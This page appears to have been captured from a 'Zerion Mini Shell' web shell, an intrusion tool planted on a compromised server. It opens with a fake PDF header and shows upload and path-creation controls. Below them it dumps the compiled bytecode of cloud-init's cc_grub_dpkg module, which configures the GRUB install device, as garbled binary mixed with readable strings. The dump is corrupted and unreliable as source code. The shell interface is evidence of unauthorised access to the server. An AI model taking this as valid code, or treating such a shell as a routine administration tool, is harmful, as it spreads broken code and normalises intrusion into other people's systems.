%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_grub_dpkg.cpython-312.pyc

�

���f��
���UdZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZd	Zd
ddge
gd
�Zeed<ej&e�Zd�Zdefd�Zdede	dededdf
d�Zde	defd�Zy)z5Grub Dpkg: Configure grub debconf installation device�N)�subp�util)�Cloud)�Config)�
MetaSchema)�PER_INSTANCE)�ProcessExecutionError��cc_grub_dpkg�ubuntu�debian)�id�distros�	frequency�activate_by_schema_keys�metac���d}g}d}d}t�rd}d}	tjdd||gd�	�jj�}|rtjj!|�sy	tjdddd|gd�	�jj�j#�}tjddj%|��|D�cgc]	}d|vs�|��}}tjddj%|��|rt'|�dn|}tjd|�|S#t$r`}t|jt�rtjd
�n%d|jvrtjd�n�Yd
}~��Qd
}~wt$rtjtd�Y��zwxYw#t$rtjtd|�Y��@wxYwcc}w)z�
    Fetches the /dev/disk/by-id device grub is installed to.
    Falls back to plain disk name if no by-id entry is present.
    r
�diskz/boot�devicez	/boot/efiz
grub-probez-tT)�capturez'grub-probe' not found in $PATHzfailed to get canonical pathz)grub-probe 'failed to get canonical path'Nz*grub-probe failed to execute for grub_dpkg�udevadm�infoz--rootz--query=symlinkz3udevadm DEVLINKS symlink query failed for disk='%s'z%considering these device symlinks: %s�,z
disk/by-idz)filtered to these disk/by-id symlinks: %srzselected %s)�
is_efi_bootedr�stdout�stripr	�
isinstance�reason�FileNotFoundError�LOG�debug�stderr�	Exceptionr�logexc�os�path�exists�split�join�sorted)r�devices�probe_target�probe_mount�e�dev�idevss       �?/usr/lib/python3/dist-packages/cloudinit/config/cc_grub_dpkg.py�fetch_idevsr2!s���
�D��G��L��K�����!��G��y�y�
�4��{�;�T�
�
�&����	
�(�r�w�w�~�~�d�+��

�
�I�I��F�H�.?��F��
��V�E�E�G�
�U�W�
	��I�I�5�s�x�x��7H�I�%�=�s���)<�s�=�G�=��I�I�9�3�8�8�G�;L�M�")�F�7�O�A��t�E��I�I�m�U�#��L��Y!�
��a�h�h� 1�2��I�I�7�8�
,�q�x�x�
7��I�I�A�B�
����G����C�E�F�G��"�
�����F��	
�
��>s=�3D8�.AG	�	G4�#G4�8	G�AF�&G�G�	$G1�0G1�returnc��	tjjd�S#t$r }tjd|�Yd}~yd}~wwxYw)z4
    Check if the system is booted in EFI mode.
    z/sys/firmware/efiz7Failed to determine if system is booted in EFI mode: %sNF)r%r&r'�OSErrorr �error)r.s r1rres=����w�w�~�~�1�2�2�����	�	�K�Q�O����s�!�	A
�A�A
�name�cfg�cloud�argsc��|jd|jdi��}|si}|jdd�}tj|�rtj	d||�yt|�}tj	d|�	t
jdg|��y#t$r%}tjtd	|�Yd}~yd}~wwxYw)
N�	grub_dpkgz	grub-dpkg�enabledTz*%s disabled by config grub_dpkg/enabled=%sz-Setting grub debconf-set-selections with '%s'zdebconf-set-selections)�dataz6Failed to run debconf-set-selections for grub_dpkg: %s)	�getr�is_falser r!�get_debconf_configrr#r$)r7r8r9r:�mycfgr=�	dconf_selr.s        r1�handlerDqs����G�G�K�����b�!9�:�E�����i�i�	�4�(�G��}�}�W���	�	�>��g�N��"�5�)�I��I�I�=�y�I�
��	�	�+�,�9�=���
�����I�1�	
�	
��
�s�B!�!	C�*C
�
CrBc�h�t�r(tj|dd�}|�
t�}d|zStj|dd�}|�
t�}|j	d�}|�|}n%t|t�stj|�}t|�j�}d|�d|�d�S)	zd
    Returns the debconf config for grub-pc or
    grub-efi depending on the systems boot mode.
    zgrub-efi/install_devicesNz+grub-pc grub-efi/install_devices string %s
zgrub-pc/install_deviceszgrub-pc/install_devices_emptyz'grub-pc grub-pc/install_devices string z/
grub-pc grub-pc/install_devices_empty boolean �
)
rr�get_cfg_option_strr2r?r�bool�translate_bool�str�lower)rBr0�idevs_emptys   r1rArA�s���
���'�'��-�t�
���=��M�E�=��E�E��'�'��/H�$�O���=��M�E��i�i� ?�@����#�)�K��K��.��-�-�k�:�K��+�&�,�,�.���k�
#�	
�)�__doc__�loggingr%�	cloudinitrr�cloudinit.cloudr�cloudinit.configr�cloudinit.config.schemar�cloudinit.settingsr�cloudinit.subpr	�MODULE_DESCRIPTIONr�__annotations__�	getLogger�__name__r r2rHrrJ�listrDrA�rMr1�<module>r\s���<��	� �!�#�.�+�0�����(�#��!�	��j���g����!��A�H	�t�	�
��
�6�
�%�
�t�
��
�* 
�f� 
�� 
rM

Zerion Mini Shell 1.0